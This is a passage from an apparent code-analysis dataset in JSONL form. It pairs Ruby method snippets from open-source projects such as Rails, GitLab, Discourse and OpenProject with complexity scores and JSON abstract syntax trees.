"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"arp_saddr_mac=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"eth_saddr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"arp_saddr_ip=\",{\"type\":\"lvar\",\"children\":[\"shost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"arp_daddr_ip=\",{\"type\":\"lvar\",\"children\":[\"dhost\"]}]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}","id":"fa15a1f1-0967-4f63-a310-fa43bbe0412d"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/tables/attachment_journals.rb","start_line":34,"raw_source":"def self.table(migration)\n    create_table migration do |t| # rubocop:disable Rails/CreateTableWithTimestamps\n      t.bigint :container_id, default: nil, null: true\n      t.string :container_type, limit: 30, null: true\n      t.string :filename, default: nil, null: false\n      t.string :disk_filename, default: nil, null: false\n      t.integer :filesize, default: nil, null: false, limit: 8\n      t.string :content_type, default: nil\n      t.string :digest, limit: 40, default: nil, null: false\n      t.integer :downloads, default: nil, null: false\n      t.bigint :author_id, null: false\n      t.text :description\n    end\n  end","complexity_score":15.05,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"container_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"container_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"disk_filename\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"filesize\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"digest\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[40]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"downloads\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"bigint\",{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]}]}]}","id":"a0d6c6c7-ed20-42b7-8160-5ede7ff0ea87"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/special_global_vars.rb","start_line":189,"raw_source":"def format_english_message(global_var)\n          regular, english = ENGLISH_VARS[global_var].partition do |var|\n            NON_ENGLISH_VARS.include? var\n          end\n\n          format_message(english, regular, global_var)\n        end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"format_english_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"global_var\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"regular\"]},{\"type\":\"lvasgn\",\"children\":[\"english\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENGLISH_VARS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"global_var\"]}]},\"partition\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"var\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NON_ENGLISH_VARS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"var\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"format_message\",{\"type\":\"lvar\",\"children\":[\"english\"]},{\"type\":\"lvar\",\"children\":[\"regular\"]},{\"type\":\"lvar\",\"children\":[\"global_var\"]}]}]}]}","id":"9160e0d0-53fe-4bed-ad2d-942d2a577e65"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/liquid/campaign_template_service.rb","start_line":4,"raw_source":"def call(message)\n    process_liquid_in_content(message_drops, message)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"process_liquid_in_content\",{\"type\":\"send\",\"children\":[null,\"message_drops\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}","id":"d8a1bff2-2db1-40e3-9413-c929c59d03b3"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/ldap_groups/app/controllers/ldap_groups/synchronized_groups_controller.rb","start_line":44,"raw_source":"def index\n      @groups = SynchronizedGroup.includes(:ldap_auth_source, :group)\n      @filters = SynchronizedFilter.includes(:ldap_auth_source, :groups)\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@groups\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SynchronizedGroup\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"ldap_auth_source\"]},{\"type\":\"sym\",\"children\":[\"group\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@filters\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SynchronizedFilter\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"ldap_auth_source\"]},{\"type\":\"sym\",\"children\":[\"groups\"]}]}]}]}]}","id":"3528d7d9-68f4-4cce-85f2-6bbff3f2f86a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/reviewable_action_builder.rb","start_line":217,"raw_source":"def perform_hide_post(performed_by, _args)\n    # TODO (reviewable-refresh): This hard-coded post action type needs to make use of the\n    # original flag type. See ReviewableFlaggedPost::perform_agree_and_hide for reference.\n    target_post.hide!(PostActionType.types[:inappropriate])\n    create_result(:success, :rejected, [created_by_id], false)\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_hide_post\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"performed_by\"]},{\"type\":\"arg\",\"children\":[\"_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_post\"]},\"hide!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostActionType\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"inappropriate\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_result\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"sym\",\"children\":[\"rejected\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"created_by_id\"]}]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"8fe1c824-7d93-4946-b096-128e427fbaf4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/reindexing/reindex_concurrently.rb","start_line":98,"raw_source":"def remove_index(index)\n          logger.info(\"Removing dangling index #{index.identifier}\")\n\n          retries = Gitlab::Database::WithLockRetriesOutsideTransaction.new(\n            connection: connection,\n            timing_configuration: REMOVE_INDEX_RETRY_CONFIG,\n            klass: self.class,\n            logger: logger\n          )\n\n          retries.run(raise_on_exhaustion: false) do\n            execute(\"DROP INDEX CONCURRENTLY IF EXISTS #{quote_table_name(index.schema)}.#{quote_table_name(index.name)}\")\n          end\n        end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_index\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing dangling index \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"identifier\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"retries\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"WithLockRetriesOutsideTransaction\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection\"]},{\"type\":\"send\",\"children\":[null,\"connection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"timing_configuration\"]},{\"type\":\"const\",\"children\":[null,\"REMOVE_INDEX_RETRY_CONFIG\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"klass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"send\",\"children\":[null,\"logger\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"retries\"]},\"run\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raise_on_exhaustion\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DROP INDEX CONCURRENTLY IF EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"schema\"]}]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"name\"]}]}]}]}]}]}]}]}","id":"2ac5e5b6-1087-4624-8867-e447be3baf44"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/users/update.rb","start_line":117,"raw_source":"def conditionally_resave_articles\n      return unless resave_articles? && !@user.spam_or_suspended?\n\n      Users::ResaveArticlesWorker.perform_async(@user.id)\n    end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"conditionally_resave_articles\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resave_articles?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"spam_or_suspended?\"]},\"!\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Users\"]},\"ResaveArticlesWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]}]}]}","id":"fe0e31c2-38a7-4cbb-8ffe-7bed25948f63"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb","start_line":611,"raw_source":"def test_association_with_extend_option\n    eponine = DeveloperWithExtendOption.create(name: \"Eponine\")\n    assert_equal \"sns\", eponine.projects.category\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_association_with_extend_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"eponine\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeveloperWithExtendOption\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Eponine\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"sns\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"eponine\"]},\"projects\"]},\"category\"]}]}]}]}","id":"541d1b20-1686-4f4e-b2eb-e1c25f80f85a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/compare_controller.rb","start_line":165,"raw_source":"def head_ref\n    return @ref if defined?(@ref)\n\n    @ref = @head_ref = Addressable::URI.unescape(compare_params[:to]).presence\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"head_ref\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ref\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ref\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@ref\",{\"type\":\"ivasgn\",\"children\":[\"@head_ref\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Addressable\"]},\"URI\"]},\"unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compare_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"to\"]}]}]},\"presence\"]}]}]}]}]}","id":"b49b8f65-9b70-481e-9fff-b1bc2702436e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/rules/rule/clause/exists.rb","start_line":45,"raw_source":"def expand_globs(context)\n          @globs.map do |glob|\n            expand_value_nested(glob, context)\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_globs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@globs\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"glob\"]}]},{\"type\":\"send\",\"children\":[null,\"expand_value_nested\",{\"type\":\"lvar\",\"children\":[\"glob\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]}]}","id":"5ee00e6c-898b-4683-8d5b-672790fc70d1"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/content_type_test.rb","start_line":185,"raw_source":"def test_render_default_content_types_for_respond_to_with_overwrite\n    @request.accept = Mime[:rss].to_s\n    get :render_default_content_types_for_respond_to\n    assert_equal Mime[:xml], @response.media_type\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_render_default_content_types_for_respond_to_with_overwrite\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"accept=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mime\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"rss\"]}]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"render_default_content_types_for_respond_to\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mime\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"xml\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"media_type\"]}]}]}]}","id":"c36255f9-3b2d-40d8-af94-cac0e08867d0"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/string/output_safety.rb","start_line":59,"raw_source":"def chr\n      return super unless html_safe?\n\n      string_into_safe_buffer(super, true)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"chr\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"html_safe?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"string_into_safe_buffer\",{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"dc3f5313-8ca0-4bed-9b61-8b64033e56a1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/projects/table_component.rb","start_line":198,"raw_source":"def project_phase_by_definition(definition, project)\n      @project_phases_by_definition ||= Project::Phase\n                                                    .visible\n                                                    .index_by { |s| [s.definition_id, s.project_id] }\n\n      @project_phases_by_definition[[definition.id, project.id]]\n    end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"project_phase_by_definition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"definition\"]},{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project_phases_by_definition\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"Phase\"]},\"visible\"]},\"index_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"definition_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"project_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_phases_by_definition\"]},\"[]\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"definition\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"id\"]}]}]}]}]}","id":"c8abd5ca-bd2a-4f30-ac8e-d5020e0a9cfc"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/scheduled/check_new_features.rb","start_line":7,"raw_source":"def execute(args)\n      admin_ids = User.human_users.where(admin: true).pluck(:id)\n\n      prev_most_recent = DiscourseUpdates.new_features&.first\n      if prev_most_recent\n        admin_ids.each do |admin_id|\n          if DiscourseUpdates.get_last_viewed_feature_date(admin_id).blank?\n            DiscourseUpdates.bump_last_viewed_feature_date(admin_id, prev_most_recent[\"created_at\"])\n          end\n        end\n      end\n\n      # this memoization may seem pointless, but it actually avoids us hitting\n      # Meta repeatedly and getting rate-limited when this job is ran on a\n      # multisite cluster.\n      # in multisite, the `execute` method (of the same instance) is called for\n      # every site in the cluster.\n      @new_features_json ||= DiscourseUpdates.new_features_payload\n      DiscourseUpdates.update_new_features(@new_features_json)\n\n      new_most_recent = DiscourseUpdates.new_features&.first\n      if new_most_recent\n        most_recent_feature_date = Time.zone.parse(new_most_recent[\"created_at\"])\n        admin_ids.each do |admin_id|\n          admin_last_viewed_feature_date = DiscourseUpdates.get_last_viewed_feature_date(admin_id)\n          if admin_last_viewed_feature_date.blank? ||\n               admin_last_viewed_feature_date < most_recent_feature_date\n            Notification.consolidate_or_create!(\n              user_id: admin_id,\n              notification_type: Notification.types[:new_features],\n              data: {\n              },\n            )\n            DiscourseUpdates.bump_last_viewed_feature_date(admin_id, new_most_recent[\"created_at\"])\n          end\n        end\n      end\n    end","complexity_score":50.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"admin_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"human_users\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"admin\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"prev_most_recent\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"new_features\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prev_most_recent\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"admin_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"get_last_viewed_feature_date\",{\"type\":\"lvar\",\"children\":[\"admin_id\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"bump_last_viewed_feature_date\",{\"type\":\"lvar\",\"children\":[\"admin_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prev_most_recent\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]}]},null]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@new_features_json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"new_features_payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"update_new_features\",{\"type\":\"ivar\",\"children\":[\"@new_features_json\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_most_recent\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"new_features\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_most_recent\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"most_recent_feature_date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_most_recent\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"admin_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"admin_last_viewed_feature_date\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"get_last_viewed_feature_date\",{\"type\":\"lvar\",\"children\":[\"admin_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_last_viewed_feature_date\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_last_viewed_feature_date\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"most_recent_feature_date\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"consolidate_or_create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"admin_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new_features\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUpdates\"]},\"bump_last_viewed_feature_date\",{\"type\":\"lvar\",\"children\":[\"admin_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_most_recent\"]},\"[]\",{\"type\":\"str\",\"children\":[\"created_at\"]}]}]}]},null]}]}]}]},null]}]}]}","id":"b6e18a4a-27f8-4f9a-8c8c-c2f526c7ad7c"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/controllers/storages/admin/storages_controller.rb","start_line":182,"raw_source":"def destroy\n        service_result = ::Storages::Storages::DeleteService\n                           .new(user: User.current, model: @storage)\n                           .call\n\n        service_result.on_failure do\n          flash[:error] = service_result.errors.full_messages\n        end\n\n        service_result.on_success do\n          flash[:notice] = I18n.t(:notice_successful_delete)\n        end\n        redirect_to admin_settings_storages_path\n      